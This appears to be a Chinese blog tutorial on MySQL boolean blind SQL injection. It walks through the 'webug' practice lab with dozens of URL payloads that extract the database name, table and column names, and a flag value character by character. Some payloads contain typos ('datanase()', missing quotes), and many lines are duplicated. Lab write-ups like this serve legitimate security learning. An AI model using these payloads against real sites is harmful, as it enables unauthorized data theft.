mysql bool型盲注
阿新 • • 發佈:2022-01-20
mysql bool型盲注
- 個人理解:
- 其實bool型盲注也可以說為報錯型的盲注,只是它不像報錯注入那樣會直接通過報錯資訊告訴你庫名,列名等,它真正的報錯資訊被網站管理員自定義的報錯資訊取代了。因此,既然我們不可以直接通過報錯資訊得知庫名,列名等有效資訊,但是我們可以通過網站管理員自定義的資訊來對庫名,列名等資訊進行猜解。
- 即:通過網站管理員自定義的報錯資訊作為 判斷基準(即相對於基於時間的盲注,攻擊者不用自己再設立一個判斷基準了,可以直接利用網站管理員自定義的報錯資訊作為判斷基準),如果sql注入語句執行成功,頁面返回正常,sql注入語句執行不成功,頁面返回管理員自定義的報錯頁面,然後 根據這兩種頁面狀態作為判斷基準
-前置知識:
- ascii()函式:用於返回字元對應的ascii碼。
- length()函式:返回字串的長度
- substr()函式:用於擷取字串
- count()函式:用於返回表中的記錄數量
- information_schema資料庫:
- information_schema 資料庫是 MySQL 自帶的資訊資料庫。該資料庫用於儲存資料庫元資料(關於資料的資料),例如資料庫名、表名、列的資料型別、訪問許可權等。
- 其中的 tables表 和 columns表 最為重要
- tables表:儲存資料庫中的表資訊(包括檢視),包括表屬於哪個資料庫,表的型別、儲存引擎、建立時間等資訊。
- columns表:儲存表中的列資訊,包括表有多少列、每個列的型別等
1. 盲注注入思路
- 判斷注入點
- 判斷資料庫的長度
- 爆破資料庫名
- 判斷該資料庫中存在多少張表
- 判斷這個資料庫中每一個表的長度
- 爆破每一個表的表名
- 判斷表中有多少欄位
- 判斷每一個欄位的名長度
- 爆破錶中的每一個欄位名
- 判斷該表中存在多少條記錄
- 判斷每一個欄位值的長度
- 爆破相應欄位中每一個欄位值
2. 靶場實戰演示:
2.1 判斷注入點
- payload:
* ?id=1' -- (頁面返回失敗) * ?id=1' %23 -- (頁面返回正常)
- 由下圖分析,我們可以得知:該注入點為字元型注入
- 由下圖分析,我們可以得知:該注入點為字元型注入
2.2 判斷當前資料庫名的長度
- payload:
- 注意:以下的payload在使用#號進行閉合時,我使用的都是其URL編碼形式(%23),若不採用%23形式,payload就會執行失敗。
* ?id=1 and length(database())>3 %23 -- (頁面返回正常) * ?id=1 and length(database())>4 %23 -- (頁面返回正常) * ?id=1 and length(database())>5 %23 -- (頁面返回失敗)
- 說明:當前資料庫名的長度為5
2.3 爆破資料庫名
- payload:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and ascii(substr(datanase(),1,1))=119 %23 * ?id=1' and ascii(substr(datanase(),2,1))=101 %23 * ?id=1' and ascii(substr(datanase(),3,1))=98 %23 * ?id=1' and ascii(substr(datanase(),4,1))=117 %23 * ?id=1' and ascii(substr(datanase(),5,1))=103 %23
- 即:資料庫名的5個字母的ascii碼為:119 101 98 117 103 -->對應的資料庫名為:webug
- 即:資料庫名的5個字母的ascii碼為:119 101 98 117 103 -->對應的資料庫名為:webug
2.4 判斷該資料庫中存在多少張表
- payload:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select count(*) from information_schema.tables where table_schema='webug')=7 %23
- 說明在名為:webug的資料庫中,含有7張表
- 說明在名為:webug的資料庫中,含有7張表
2.5 判斷這個資料庫中每一個表的長度
- payload:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 0,1)=9 %23 * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 1,1)=8 %23 * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 2,1)=8 %23 * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 3,1)=4 %23 * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 4,1)=12 %23 * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 5,1)=4 %23 * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 6,1)=9 %23
- 經分析可以,該資料庫中:
- 第一張表的長度為:9;第二張表的長度為:8;第三張表的長度為:8;第四張表的長度為:4;第五張表的長度為:12;第六張表的長度為:4;第七張表的長度為:9
- 第一張表的長度為:9;第二張表的長度為:8;第三張表的長度為:8;第四張表的長度為:4;第五張表的長度為:12;第六張表的長度為:4;第七張表的長度為:9
- 經分析可以,該資料庫中:
2.6 爆破每一個表的表名
- payload:
- 第一張表:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 0,1)=100 %23 * ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 0,1)=97 %23 * ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 0,1)=116 %23 * ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 0,1)=97 %23 * ?id=1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema='webug' limit 0,1)=95 %23 * ?id=1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema='webug' limit 0,1)=99 %23 * ?id=1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema='webug' limit 0,1)=114 %23 * ?id=1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema='webug' limit 0,1)=117 %23 * ?id=1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema='webug' limit 0,1)=100 %23
- 第一張表名的ASCII碼為:100 97 116 97 95 99 114 117 100 -->對應的表名為:data_crud
- 第一張表名的ASCII碼為:100 97 116 97 95 99 114 117 100 -->對應的表名為:data_crud
- 第二張表:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 1,1)=101 %23 * ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 1,1)=110 %23 * ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 1,1)=118 %23 * ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 1,1)=95 %23 * ?id=1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema='webug' limit 1,1)=108 %23 * ?id=1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema='webug' limit 1,1)=105 %23 * ?id=1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema='webug' limit 1,1)=115 %23 * ?id=1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema='webug' limit 1,1)=116 %23
- 第二張表名的ASCII碼為:101 110 118 95 108 105 115 116 -->對應的表名為:env_list
- 第二張表名的ASCII碼為:101 110 118 95 108 105 115 116 -->對應的表名為:env_list
- 第三張表:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 2,1)=101 %23 * ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 2,1)=110 %23 * ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 2,1)=118 %23 * ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 2,1)=95 %23 * ?id=1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema='webug' limit 2,1)=112 %23 * ?id=1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema='webug' limit 2,1)=97 %23 * ?id=1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema='webug' limit 2,1)=116 %23 * ?id=1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema='webug' limit 2,1)=104 %23
- 第三張表名的ASCII碼為:101 110 118 95 112 97 116 104 -->對應的表名為:env_path
- 第三張表名的ASCII碼為:101 110 118 95 112 97 116 104 -->對應的表名為:env_path
- 第四張表:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 3,1)=102 %23 * ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 3,1)=108 %23 * ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 3,1)=97 %23 * ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 3,1)=103 %23
- 第四張表名的ASCII碼為:102 108 97 103 -->對應的表名為:flag
- 第四張表名的ASCII碼為:102 108 97 103 -->對應的表名為:flag
- 至此,我們已得知第四章表的表名為:flag,這就是我們想要得到的表,不用繼續爆破後三張了
- 第一張表:(經過二分法的測試,以下payload的執行頁面返回正常)
2.7 判斷表中有多少欄位
- payload:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select count(*) from information_schema.columns where table_name='flag')=2 %23
- 由下圖可知,flag表中有2個欄位
- 由下圖可知,flag表中有2個欄位
2.8 判斷每一個欄位的名長度
- payload:
- 第一個欄位(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select length(column_name) from information_schema.columns where table_name='flag' limit 0,1)=2 %23
- 由下圖可知第一個欄位的長度為:2
- 由下圖可知第一個欄位的長度為:2
- 第二個欄位(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select length(column_name) from information_schema.columns where table_name='flag' limit 1,1)=4 %23
- 由下圖可知第二個欄位的長度為:4
- 由下圖可知第二個欄位的長度為:4
- 第一個欄位(經過二分法的測試,以下payload的執行頁面返回正常)
2.9 爆破錶中的每一個欄位名
- payload:
- 爆破第一個欄位名:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='flag' limit 0,1)=105 %23 * ?id=1' and (select ascii(substr(column_name,2,1)) from information_schema.columns where table_name='flag' limit 0,1)=100 %23
- flag表的第一個欄位名的ascii碼:105 100 --> 對應的欄位名:id
- flag表的第一個欄位名的ascii碼:105 100 --> 對應的欄位名:id
- 爆破第二個欄位名:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='flag' limit 1,1)=102 %23 * ?id=1' and (select ascii(substr(column_name,2,1)) from information_schema.columns where table_name='flag' limit 1,1)=108 %23 * ?id=1' and (select ascii(substr(column_name,3,1)) from information_schema.columns where table_name='flag' limit 1,1)=97 %23 * ?id=1' and (select ascii(substr(column_name,4,1)) from information_schema.columns where table_name='flag' limit 1,1)=103 %23
- flag表的第二個欄位名的ascii碼:102 108 97 103 --> 對應的欄位名為:flag
- flag表的第二個欄位名的ascii碼:102 108 97 103 --> 對應的欄位名為:flag
- 至此得知,第二個欄位“flag”才是我們所需要的
- 爆破第一個欄位名:(經過二分法的測試,以下payload的執行頁面返回正常)
2.10 判斷該表中存在多少條記錄
- payload:(經過二分法的測試,以下payload的執行頁面返回正常)
* ?id=1' and (select count(*) from flag)=1 %23
- 由下圖得知,flag欄位有1條記錄
- 由下圖得知,flag欄位有1條記錄
2.11 判斷每一個欄位值的長度
- payload:
* ?id=1' and (select length(flag) from flag limit 0,1)=16 %23
- 由下圖可知,第一個欄位值的長度誒:16
- 由下圖可知,第一個欄位值的長度誒:16
2.12 爆破相應欄位中每一個欄位值
-
payload:(在這裡payload真的是太多了,偷了個小懶使用了burp)
1. ?id=1' and (select ascii(substr(flag,1,1)) from flag limit 0,1)=100 %23 2. ?id=1' and (select ascii(substr(flag,2,1)) from flag limit 0,1)=102 %23 3. ?id=1' and (select ascii(substr(flag,3,1)) from flag limit 0,1)=97 %23 4. ?id=1' and (select ascii(substr(flag,4,1)) from flag limit 0,1)=102 %23 5. ?id=1' and (select ascii(substr(flag,5,1)) from flag limit 0,1)=100 %23 6. ?id=1' and (select ascii(substr(flag,6,1)) from flag limit 0,1)=97 %23 7. ?id=1' and (select ascii(substr(flag,7,1)) from flag limit 0,1)=115 %23 8. ?id=1' and (select ascii(substr(flag,8,1)) from flag limit 0,1)=102 %23 9. ?id=1' and (select ascii(substr(flag,9,1)) from flag limit 0,1)=97 %23 10. ?id=1' and (select ascii(substr(flag,10,1)) from flag limit 0,1)=102 %23 11. ?id=1' and (select ascii(substr(flag,11,1)) from flag limit 0,1)=100 %23 12. ?id=1' and (select ascii(substr(flag,12,1)) from flag limit 0,1)=115 %23 13. ?id=1' and (select ascii(substr(flag,13,1)) from flag limit 0,1)=97 %23 14. ?id=1' and (select ascii(substr(flag,14,1)) from flag limit 0,1)=100 %23 15. ?id=1' and (select ascii(substr(flag,15,1)) from flag limit 0,1)=102 %23 16. ?id=1' and (select ascii(substr(flag,16,1)) from flag limit 0,1)=97 %23
- 欄位值對應的ascii碼:100 102 97 102 100 97 115 102 97 102 100 115 97 100 102 97
- 對應的欄位值為:dfafdasfafdsadfa
-
綜上所述,這個靶場的flag為:dfafdasfafdsadfa
-
下圖為靶場資料庫中所存的對應flag,對比結果正確